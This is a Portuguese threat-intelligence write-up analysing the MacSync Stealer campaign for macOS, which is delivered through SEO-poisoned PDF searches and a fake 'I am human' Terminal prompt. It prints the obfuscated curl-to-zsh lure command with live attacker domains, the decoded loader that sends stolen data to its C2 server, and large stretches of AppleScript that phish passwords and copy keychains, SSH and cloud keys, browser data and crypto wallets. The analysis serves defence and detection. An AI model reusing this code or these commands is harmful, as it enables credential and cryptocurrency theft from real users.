Voltar
Malware Intelligence
Tabela de conteúdo

Sumário executivo

Os pesquisadores da CloudSEK identificaram uma cadeia de distribuição de malware em vários estágios para macOS que aproveita o envenenamento por SEO e a engenharia social no estilo ClickFix para distribuir um malware que rouba informações chamado MacSync Stealer.

A campanha começa com resultados de pesquisa maliciosos direcionados a usuários que tentam baixar versões em PDF de livros populares. As vítimas são redirecionadas para uma página de verificação falsa que as instrui a executar um comando malicioso do Terminal. Esse comando inicia um carregador de malware em estágios que recupera cargas adicionais da infraestrutura controlada pelo atacante.

O estágio final implanta um ladrão de informações baseado em AppleScript capaz de coletar credenciais do navegador, carteiras de criptomoedas, chaves SSH, arquivos de configuração de nuvem e documentos confidenciais do usuário. O malware comprime os dados coletados e os exfiltra para um servidor de comando e controle.

A campanha aumenta ainda mais ao direcionar as instalações do Ledger Live, modificando os componentes do aplicativo para potencialmente permitir a manipulação de transações e a persistência financeira a longo prazo.

Análise

Acesso inicial: envenenamento por SEO

A cadeia de infecção começa com o envenenamento por SEO direcionado aos usuários que procuram versões de livros em PDF para download.

Durante a investigação, a seguinte consulta de pesquisa gerou um resultado malicioso:

Minha consulta de pesquisa foi simples:


"Inspired: How To Create Products Customers Love" filetype:pdf

Entre os resultados estava um domínio que parecia hospedar um repositório de documentos acadêmicos:


https://b.mou.ir/renhancef/84974J166D/vallocated/88983JD/inspired__how_to-create__products_customers-love__english-edition.pdf

À primeira vista, o URL parecia legítimo. O nome do arquivo correspondia ao título do livro e a estrutura do domínio se assemelhava a uma plataforma típica de hospedagem de documentos.

No entanto, em vez de entregar um arquivo PDF, o link foi redirecionado para:


https://allfile.me/loading/?t=Inspired%20%20How%20To%20Create%20%20Products%20Customers%20Love%20%20English%20Edition&s=Yi5tb3UuaXI

A página exibia uma tela falsa de verificação humana com um cronômetro de contagem regressiva e um botão “Sou humano”.

Selecionar a opção de verificação redirecionou os usuários para uma página de instruções com tema macOS, instruindo-os a abrir o Terminal e executar um comando.

Essa técnica se alinha às campanhas de engenharia social da ClickFix, nas quais os atacantes convencem as vítimas a executar comandos maliciosos sob o pretexto de resolver problemas de verificação ou download.

A página que hospeda o comando estava localizada em:


https://datacloudhost4.baby/?c=ADtxlGmPdgUAd4oCAElOOQASAAAAAADt

Etapa 1 — Carregador inicial (comando ofuscado)

As vítimas são instruídas a executar o seguinte comando:

echo "Apple-Installer: https://apps.apple.com/hidenn-gift.application/macOsAppleApicationSetup421415.dmg" &&curl -kfsSL $(echo 'ZWNobyAnSW5zdGFsbGluZyBwYWNrYWdlIHBsZWFzZSB3YWl0Li4uJyAmJiBjdXJsIC1rZnNTTCBodHRwOi8vY2FsaWZvcm5pYXRpcmVzaG9wLmNvbS9jdXJsLzM4YzlkODlmODU2MzVkNjk1OTBiMDI4NjBjNWM3NTEyYzY2MTUzYjJkNDhmYTQzOTBkNTBmNDljOWYwNWIwMmV8enNo'|base64 -D)|zsh

O comando parece legítimo. A primeira coisa que ele faz é ecoar uma linha referenciando: https://apps.apple.com/...

Mas o comportamento real está oculto dentro da string codificada em Base64.

Uma vez decodificado, ele revela:

echo 'Installing package please wait...' && curl -kfsSL http://bracesarlington.com/curl/0dbe695426c12ddd6fb1085e738869149061e28daad1b75eb40dea13ef73b5de

A segunda parte extrai silenciosamente um script remoto do bracesarlington. com e o canaliza diretamente para zsh para execução.

Etapa 2 — Script ofuscado

O script de segundo estágio recuperado da infraestrutura do invasor contém uma carga útil incorporada codificada em Base64 e compactada usando gzip.

A estrutura do script é semelhante à seguinte:

#!/bin/zsh
d23826=$(base64 -D <<'PAYLOAD_m117191906222546' | gunzip
H4sIABNPlGkAA91WW2/bNhR+9684VRVDasBIsuJLLmoadAEaFGmHpMGCdYVBiZRNWKY0kV4ct/3v
oyxZomQD28texheZhx+/cz/061dOyLizEfMewXSZ8mm84pFkKbds+N4DteiaRnDpEPqXw1dJ0sje
HpANOsIkjXACJF1ixgMjzHFEBc4Txmcy5SdRujQ0mEwXVKFcEtLR2fB0MIq8ASFkFIeeOxnSsT+Z
jM680zN35NHBhGBMvHA8pOGpSyj2fBqP/XBIqE6JMzZd0JfAGHpnLo29se97Ex+7JBr5cTga+P5w
HA9HZKRfillCA8ORy8xJBU7S2UzZe7JhWQliMXwF8zWgmQQXvl2AnFO+PSlWtMoTQAtAAhBa4jWS
bEnBd+GPGlIs9AGMR0FzdD2jXJ7DXbphSYKd4YkL1h2OGJepmF/ALZc0ASWAzw/wBJ479YbTsQ3X
WZbQ32j4kUln6I9P/JFxQINyHyn3z8GsAtEFGXMps3PHMcsUOeSF4yWLruSaBOY2H/3sWf30DPgB
Khgiylkmy3wngv5vvd53N2Za8q8AcXog+XTNJHhd/Fd4BSgGwywKSzH/KPai3n/rsuRUrnLe5ikr
8/2Hx08fpw+3v98EpmV5LrxRsRmcVh/b1qB310/T+5sv97c3D8FEk6+yJMVkypSnFsGSwvGRsJFp
pRnlQiSQY04AzekaJno3F1bTaJ6CeX/96ZfPd9XHbrWvxMlUsE1ZFs1WaRISyyIGR5va7Q55iYjg
qA6MrQUQFfcaxm0Q2wJE/ywS8u9jWV6O5iu+EEU0wWro4FgLNSDwbHB0SSvSLHC3u+e5shoUEYPL
FruCX6gZWNtUXkvjWFBZaGYqfw15xd0AtyRVIBtYDVIKSypldAOFt1oClAHQ77eILN1bVDHsqRar
SA1sUTnYyLGUdJnJwKvltfPVEVwGegkW6isyCAKVqE5IilU05TRKSWEdISrxwa5UQhF4IBYsC8zK
1ShdcRU7zd9WOXX6vVj6hHqCXx+/HMAgpDoCI/Ui4vwF3qFDkP98gu20/OMUKy2uh6036U7bLSCF
Ji4Hjp/BOPpeR/7nIR3daTlTU+MqXLGEaK+ENlbqn/0yPYwTug5M1m93nL5rTQO7ZUGRt2kxHFbq
zlXrqBwNpoaopoAqNrP2Sb3TqjrcPWki1ft0YGLs1q72vdZJ69XbLcuqqv742Lb3iRJKM1Ad56sO
3bXHGxh0oNVwKhZJeaNEeanaaq959mxuTboOoZoxtWk1eb7UXqWeRuH2fvaU1s4fQoV8Z0C/Ubx9
7NxeHZHq8YvZ32XCJlRVCgAA
PAYLOAD_m117191906222546
)
eval "$d23826"

O script executa as seguintes operações:

  1. Decodifica a carga útil Base64
  2. Descompacta o conteúdo usando o gzip
  3. Armazena o script reconstruído na memória
  4. Executa dinamicamente usando eval na memória.

Essa abordagem ajuda a evitar a detecção estática e oculta a verdadeira funcionalidade da carga útil até o tempo de execução.

Decodificado zsh script parecido com o seguinte:

#!/bin/zsh
daemon_function() {
    exec </dev/null
    exec >/dev/null
    exec 2>/dev/null
    local domain="bracesarlington.com"
    local token="0dbe695426c12ddd6fb1085e738869149061e28daad1b75eb40dea13ef73b5de"
    local api_key="5190ef1733183a0dc63fb623357f56d6"
    local file="/tmp/osalogging.zip"
    if [ $# -gt 0 ]; then
        curl -k -s --max-time 30 \
            -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
            -H "api-key: $api_key" \
            "http://$domain/dynamic?txd=$token&pwd=$1" | osascript
    else
        curl -k -s --max-time 30 \
            -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
            -H "api-key: $api_key" \
            "http://$domain/dynamic?txd=$token" | osascript
    fi
    if [ $? -ne 0 ]; then
        exit 1
    fi
    if [[ ! -f "$file" || ! -s "$file" ]]; then
        return 1
 fi
    local CHUNK_SIZE=$((10 * 1024 * 1024))
    local MAX_RETRIES=8
    local upload_id=$(date +%s)-$(openssl rand -hex 8 2>/dev/null || echo $RANDOM$RANDOM)
    local total_size
    total_size=$(stat -f %z "$file" 2>/dev/null || stat -c %s "$file")
    if [[ -z "$total_size" || "$total_size" -eq 0 ]]; then
        return 1
    fi
    local total_chunks=$(( (total_size + CHUNK_SIZE - 1) / CHUNK_SIZE ))
    local i=0
    while (( i < total_chunks )); do
        local offset=$((i * CHUNK_SIZE))
        local chunk_size=$CHUNK_SIZE
        (( offset + chunk_size > total_size )) && chunk_size=$((total_size - offset))
        local success=0
        local attempt=1
        while (( attempt <= MAX_RETRIES && success == 0 )); do
            http_code=$(dd if="$file" bs=1 skip=$offset count=$chunk_size 2>/dev/null | \
                curl -k -s -X PUT \
                --data-binary @- \
                -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
                -H "api-key: $api_key" \
                --max-time 180 \
                -o /dev/null \
                -w "%{http_code}" \
                "http://$domain/gate?buildtxd=$token&upload_id=$upload_id&chunk_index=$i&total_chunks=$total_chunks" 2>/dev/null)
            curl_status=$?
            if [[ $curl_status -eq 0 && $http_code -ge 200 && $http_code -lt 300 ]]; then
                success=1
            else
                ((attempt++))
                sleep $((3 + attempt * 2))
            fi
        done
   if (( success == 0 )); then
            return 1
        fi
        ((i++))
    done
    rm -f "$file"
    return 0
}
if daemon_function "$@" & then
    exit 0
else
    exit 1
fi

O script é essencialmente um carregador do macOS projetado para buscar instruções de um servidor remoto, executá-las por meio do AppleScript e, em seguida, exfiltrar os dados coletados de volta para o invasor, tudo isso enquanto é executado silenciosamente em segundo plano.

Etapa 3 — A carga útil do MacSync AppleScript

O script reconstruído lança um daemon em segundo plano responsável por:

  • Recuperando instruções adicionais do servidor de comando e controle
  • Executando cargas úteis do AppleScript
  • Carregando dados roubados

O carregador recupera a próxima carga usando uma solicitação semelhante à seguinte:

curl -k -s \
  -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
  -H "api-key: 5190ef1733183a0dc63fb623357f56d6" \
"http://bracesarlington.com/dynamic?txd=0dbe695426c12ddd6fb1085e738869149061e28daad1b75eb40dea13ef73b5de&pwd=PASSWORD" \
  -o stage3.applescript

A resposta contém o malware principal do AppleScript responsável pela coleta de dados.

Coleta de credenciais e coleta de dados

O script começa preparando um diretório de trabalho temporário em /tmp/, gerando um nome de pasta aleatório para evitar a fácil detecção de assinaturas.

set username to (system attribute "USER")
set profile to "/Users/" & username
set randomNumber to do shell script "echo $((RANDOM % 9000000 + 1000000))"
set writemind to "/tmp/sync" & randomNumber & "/"

Em seguida, ele tenta obter a senha do usuário. Se uma senha foi passada do estágio do shell, ela a valida usando dscl. Caso contrário, ele exibe uma caixa de diálogo falsa do sistema solicitando que o usuário “insira a senha para continuar”.

on checkvalid(username, password_entered)
        try
                set result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of password_entered
                if result is not equal to "" then
                        return false
                else
                        return true
                end if
        on error
                return false
        end try
end checkvalid

on getpwd(username, writemind, provided_password)
    try
        if provided_password is not equal to "" then
            if checkvalid(username, provided_password) then
                writeText(provided_password, writemind & "Password")
                return provided_password
            end if
        end if
        if checkvalid(username, "") then
            set result to do shell script "security 2>&1 > /dev/null find-generic-password -ga \"Chrome\" | awk 
\"{print $2}\""
            writeText(result as string, writemind & "masterpass-chrome")
            return ""
        else
            repeat
                                set imagePath to "/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/LockedIcon.icns" as POSIX file
                set result to display dialog "Required Application Helper. Please enter password for continue." default answer "" with icon imagePath buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answer
                set password_entered to text returned of result
                if checkvalid(username, password_entered) then
                    writeText(password_entered, writemind & "Password")
                    return password_entered
                end if
            end repeat
        end if
    end try
    return ""
end getpwd

A senha capturada é gravada no disco e incluída no arquivo exfiltrado.

Extração de credenciais do navegador

O malware enumera diretórios de perfis de navegador para navegadores baseados em Chromium (Chrome, Brave, Edge, Opera, Arc etc.) e navegadores baseados em Gecko (Firefox). Ele tem como alvo arquivos como:

  • Dados de login : credenciais armazenadas
  • Biscoitos : cookies de sessão ativa
  • Dados da Web : dados de preenchimento automático
  • key4.db : chaves de criptografia (Firefox)
  • logins.json : credenciais salvas
  • cookies.sqlite : Armazenamento de sessões do Firefox

Ele também verifica IDs de extensão específicos correspondentes às carteiras criptográficas e extrai o armazenamento de extensões locais e os dados do IndexedDB.

on Chromium(writemind, chromium_map)
        set pluginList to {}
    set pluginList to pluginList & {"eiaeiblijfjekdanodkjadfinkhbfgcd", "aeblfdkhhhdcdjpifhhbdiojplfjncoa"}
    set pluginList to pluginList & {"bfogiafebfohielmmehodmfbbebbbpei", "nngceckbapebfimnlniiiahkandclblb"}
    set pluginList to pluginList & {"fdjamakpfbbddfjaooikfcpapjohcfmg", "hdokiejnpimakedhajhdlcegeplioahd"}
    set pluginList to pluginList & {"pnlccmojcmeohlpggmfnbbiapkmbliob", "ghmbeldphafepmbegfdlkpapadhbakde"}
    set pluginList to pluginList & {"kmcfomidfpdkfieipokbalgegidffkal", "bnfdmghkeppfadphbnkjcicejfepnbfe"}
    set pluginList to pluginList & {"caljgklbbfbcjjanaijlacgncafpegll", "folnjigffmbjmcjgmbbfcpleeddaedal"}
    set pluginList to pluginList & {"igkpcodhieompeloncfnbekccinhapdb", "admmjipmmciaobhojoghlmleefbicajg"}
    set pluginList to pluginList & {"ehpbfbahieociaeckccnklpdcmfaeegd", "epanfjkfahimkgomnigadpkobaefekcd"}
    set pluginList to pluginList & {"ppnbnpeolgkicgegkbkbjmhlideopiji", "cejfhijdfemlohmcjknpbeaohedoikpp"}
    set pluginList to pluginList & {"nmhjblhloefhbhgbfkdgdpjabaocnhha", "iklgijhacenjgjgdnpnohbafpbmnccek"}
    set pluginList to pluginList & {"ppkkcfblhfgmdmefkmkoomenhgecbemi", "lgndjfkadlbpaifdpbbobdodbaiaiakb"}
    set pluginList to pluginList & {"bbphmbmmpomfelajledgdkgclfekilei", "bnfooenhhgcnhdkdjelgmmkpaemlnoek"}

        set chromiumFiles to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/Local Extension Settings/", "/IndexedDB/"}
        repeat with chromium in chromium_map
                set savePath to writemind & "Browsers/" & item 1 of chromium & "_"
                try
                        set fileList to list folder item 2 of chromium without invisibles
                        repeat with currentItem in fileList
                                if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
                                        set profileName to (item 1 of chromium & currentItem)
                                        repeat with CFile in chromiumFiles
   set readpath to (item 2 of chromium & currentItem & CFile)
                                                if ((CFile as string) is equal to "/Network/Cookies") then
                                                        set CFile to "/Cookies"
                                                end if
                                                if ((CFile as string) is equal to "/Local Extension Settings/") then
                                                        grabPlugins(readpath, writemind & "Extensions/" & profileName, pluginList, false)
                                                else if (CFile as string) is equal to "/IndexedDB/" then
                                                        grabPlugins(readpath, writemind & "Extensions/" & profileName, pluginList, true)
                                                else
                                                        set writepath to savePath & currentItem & CFile
                                                        readwrite(readpath, writepath)
                                                end if
                                        end repeat
                                end if
                        end repeat
                end try
        end repeat
end Chromium

on ChromiumWallets(writemind, chromium_map)
        set pluginList to {}
        set pluginList to pluginList & {"nkbihfbeogaeaoehlefnkodbefgpgknn", "bfnaelmomeimhlpmgjnjophhpkkoljpa"}
        set pluginList to pluginList & {"hnfanknocfeofbddgcijnmhnfnkdnaad", "fnjhmkhhmkbjkkabndcnnogagogbneec"}
        set pluginList to pluginList & {"acmacodkjbdgmoleebolmdjonilkdbch", "egjidjbpglichdcondbcbdnbeeppgdph"}
        set pluginList to pluginList & {"aholpfdialjgjfhomihkjbmgjidlcdno", "pdliaogehgdbhbnmkklieghmmjkpigpa"}
        set pluginList to pluginList & {"mcohilncbfahbmgdjkbpemcciiolgcge", "hpglfhgfnhbgpjdenjgmdgoeiappafln"}
        set pluginList to pluginList & {"bhhhlbepdkbapadjdnnojkbgioiodbic", "cjmkndjhnagcfbpiemnkdpomccnjblmj"}
        set pluginList to pluginList & {"kamfleanhcmjelnhaeljonilnmjpkcjc", "jnldfbidonfeldmalbflbmlebbipcnle"}
        set pluginList to pluginList & {"fdcnegogpncmfejlfnffnofpngdiejii", "klnaejjgbibmhlephnhpmaofohgkpgkd"}
        set pluginList to pluginList & {"kjjebdkfeagdoogagbhepmbimaphnfln", "ldinpeekobnhjjdofggfgjlcehhmanlj"}
        set pluginList to pluginList & {"kpfchfdkjhcoekhdldggegebfakaaiog", "idnnbdplmphpflfnlkomgpfbpcgelopg"}
        set pluginList to pluginList & {"mlhakagmgkmonhdonhkpjeebfphligng", "bipdhagncpgaccgdbddmbpcabgjikfkn"}
        set pluginList to pluginList & {"nhnkbkgjikgcigadomkphalanndcapjk", "klghhnkeealcohjjanjjdaeeggmfmlpl"}
        set pluginList to pluginList & {"ebfidpplhabeedpnhjnobghokpiioolj", "emeeapjkbcbpbpgaagfchmcgglmebnen"}
        set pluginList to pluginList & {"fldfpgipfncgndfolcbkdeeknbbbnhcc", "penjlddjkjgpnkllboccdgccekpkcbin"}

        set chromiumFiles to {"/Local Extension Settings/", "/IndexedDB/"}
        repeat with chromium in chromium_map
                try
                        set fileList to list folder item 2 of chromium without invisibles
                        repeat with currentItem in fileList
                                if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
                                        set profileName to (item 1 of chromium & currentItem)
                                        repeat with CFile in chromiumFiles
                                                set readpath to (item 2 of chromium & currentItem & CFile)
                                                if ((CFile as string) is equal to "/Local Extension Settings/") then
                                                        grabPlugins(readpath, writemind & "Wallets/Web/" & profileName, pluginList, false)
                                                else if (CFile as string) is equal to "/IndexedDB/" then
                                                        grabPlugins(readpath, writemind & "Wallets/Web/" & profileName, pluginList, true)
                                                else
                                                        set writepath to savePath & currentItem & CFile
                                                        readwrite(readpath, writepath)
                                                end if
                                        end repeat
                                end if
                        end repeat
                end try
        end repeat
end Chromium

on Gecko(writemind, gecko_map)
        set geckoFiles to {"/cert9.db", "/cookies.sqlite", "/cookies.sqlite-wal", "/formhistory.sqlite", "/key4.db", "/logins-backup.json", "/logins.json", "/signons.sqlite", "/places.sqlite"}
        repeat with gecko in gecko_map
                set savePath to writemind & "Browsers/" & item 1 of gecko & "_"
        try
                        set fileList to list folder item 2 of gecko without invisibles
                        repeat with currentItem in fileList
                                if ((currentItem as string) contains "Profile") or ((currentItem as string) contains ".default") then
                                        set profileName to (item 1 of gecko & currentItem)
                                        repeat with CFile in geckoFiles
                                                set readpath to (item 2 of gecko & currentItem & CFile)
                                                set writepath to savePath & currentItem & CFile
                                                readwrite(readpath, writepath)
                                        end repeat
                                end if
                        end repeat
        end try
    end repeat
end Gecko

Segmentação de carteiras de criptomoedas

O malware visa especificamente extensões de carteira de criptomoedas baseadas em navegador, enumerando diretórios de armazenamento de extensões e dados do IndexedDB.

Além disso, ele copia diretamente os diretórios de carteiras de desktop, como Exodus, Electrum, Atomic, Guarda, Coinomi, Sparrow, Wasabi, Bitcoin Core, e outros.

set walletMap to {}
set walletMap to walletMap & {{"Wallets/Desktop/Exodus", library & "Exodus/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Dash_Core", library & "DashCore/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Dogecoin_Core", library & "Dogecoin/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Electrum_LTC", profile & "/.electrum-ltc/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/BlueWallet", library & "BlueWallet/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Zengo", library & "Zengo/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Trust", library & "Trust Wallet/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Ledger Live", library & "Ledger Live/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Ledger Wallet", library & "Ledger Wallet/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Trezor Suite", library & "@trezor"}}

Coleta de dados adicionais

Além dos dados do navegador e da carteira, o malware também coleta:

  • Chaveiros macOS
  • ~/.ssh chaves
  • ~/.aws credenciais
  • ~/.kube configurações
  • Arquivos de histórico do Shell (.zsh_history, .bash_history)
  • .gitconfig
  • Cookies do Safari
  • Bancos de dados Apple Notes
  • Dados da sessão do Telegram Desktop
on Telegram(writemind, library)
                try
                        GrabFolder(library & "Telegram Desktop/tdata/", writemind & "Telegram Desktop/")
                end try
end Telegram

on Keychains(writemind)
                try
                        do shell script "cp ~/Library/Keychains/*.keychain-db " & quoted form of (POSIX path of writemind)
                end try
end Keychains
on CloudKeys(writemind)
                try
                        do shell script "cp -r ~/.ssh " & quoted form of (POSIX path of writemind)
                end try
                try
                        do shell script "cp -r ~/.aws " & quoted form of (POSIX path of writemind)
                end try
                try
                        do shell script "cp -r ~/.kube " & quoted form of (POSIX path of writemind)
                end try
end CloudKeys

readwrite(profile & "/.zshrc", writemind & "Profile/.zshrc")
readwrite(profile & "/.zsh_history", writemind & "Profile/.zsh_history")
readwrite(profile & "/.bash_history", writemind & "Profile/.bash_history")
readwrite(profile & "/.gitconfig", writemind & "Profile/.gitconfig")

Ele também realiza uma captura de arquivos direcionada do Desktop, Documentos e Downloads, procurando especificamente por extensões como: .pdf, .docx, .wallet, .key, .keys, .seed, .kdbx, .pem, .ovpn

on FilegrabberFDA(writemind, profile)
        set destinationFolderPath to POSIX file (writemind & "FileGrabber/")
        mkdir(destinationFolderPath)
        try

                set sourceFolders to {profile & "/Downloads/", profile & "/Documents/", profile & "/Desktop/"}
                set extensionsList to {"pdf", "docx", "doc", "wallet", "key", "keys", "db", "txt", "seed", "rtf", "kdbx", "pem", "ovpn"}

                repeat with src in sourceFolders
                        repeat with ext in extensionsList
                                try
                                        set shellCmd to "find " & quoted form of (POSIX path of src) & " -maxdepth 1 -type f -iname '*." & ext & "' -print0 | xargs -0 -J% cp -vp % " & quoted form of (POSIX path of destinationFolderPath)
                                        do shell script shellCmd
                                end try
                        end repeat
                end repeat

        end try
        try
                readwrite(profile & "/Library/Cookies/Cookies.binarycookies", writemind & "Safari/Cookies.binarycookies")
                readwrite(profile & "/Library/Safari/Form Values", writemind & "Safari/Autofill")
                readwrite(profile & "/Library/Safari/History.db", writemind & "Safari/History.db")
        end try
        try
                readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite", writemind & "Notes/NoteStore.sqlite")
                readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm", writemind & "Notes/NoteStore.sqlite-shm")
                readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal", writemind & "Notes/NoteStore.sqlite-wal")

        end try

end Filegrabber

Exfiltração de dados

Os dados coletados são compactados em um arquivo:


/tmp/osalogging.zip

O arquivo é enviado para o servidor de comando e controle usando solicitações HTTP PUT fragmentadas, permitindo a transferência confiável de grandes conjuntos de dados.

Após a exfiltração bem-sucedida, o arquivo é excluído para remover as evidências locais.

Do ponto de vista da vítima, a instalação simplesmente falha e exibe a seguinte mensagem:


Your Mac does not support this application. Try reinstalling or downloading the version for your system.

try
        do shell script "ditto -c -k --sequesterRsrc " & writemind & " /tmp/osalogging.zip"
end try
try
        do shell script "rm -rf /tmp/sync*"
end try

display dialog "Your Mac does not support this application. Try reinstalling or downloading the version for your system." with title "System Preferences" with icon stop buttons {"ОК"}

Do ponto de vista da vítima, o instalador simplesmente falhou.

Na realidade, credenciais, cookies, dados da carteira, chaves SSH, configurações de nuvem e detalhes do sistema já foram arquivados e transmitidos.

Etapa final: adulteração de carteira criptográfica e manipulação pós-comprometimento

A campanha vai além do roubo de dados ao tentar modificar os aplicativos de carteira de criptomoedas.

O malware verifica a presença do Ledger Live em:


/Applications/Ledger Live.app

Se detectado, o malware baixa arquivos controlados pelo invasor de:

https://bracesarlington.com/ledger/live/<token>

O arquivo baixado substitui os componentes internos do aplicativo, como:

app.asar
Info.plist

Após a modificação, o aplicativo é assinado novamente usando:


codesign -f -s -

Conclusão

Esta campanha demonstra como a simples engenharia social combinada com a entrega de carga útil por etapas pode levar ao comprometimento total do sistema no macOS.

Segundos após a execução de um único comando do Terminal, as vítimas podem, sem saber, expor credenciais, carteiras de criptomoedas, configurações de nuvem e outros dados confidenciais.

A adulteração adicional do software de carteira de criptomoedas indica que o objetivo vai além do roubo de credenciais em direção à persistência financeira e à manipulação de transações.

Apêndice

Link do repositório Github: https://github.com/m1r3dk/macsync-stealer-analysis

Indicadores de compromisso (IOCs)

Domínios

  • bracesarlington. com
  • datacloudhost4.baby
  • allfile.me
  • b.mou.ir

Arquivos

  • /tmp/osalogging.zip
  • /tmp/sync *

Cabeçalhos

  • chave de API: 5190ef1733183a0dc63fb623357f56d6

⚠️ Isenção de responsabilidade de pesquisa

Essa análise e o repositório que a acompanha são fornecidos estritamente para fins de pesquisa defensiva, engenharia reversa e desenvolvimento de detecção.

Toda a infraestrutura maliciosa mencionada neste artigo estava ativa durante a análise e ainda pode representar risco. Não execute nenhuma amostra fora de um ambiente de laboratório controlado.

Kishan Lal
Cyber Security researcher focused on analyzing emerging threats and understanding how modern attacks operate. Passionate about simplifying complex security concepts into clear, practical insights.
Nenhum item encontrado.

Blogs relacionados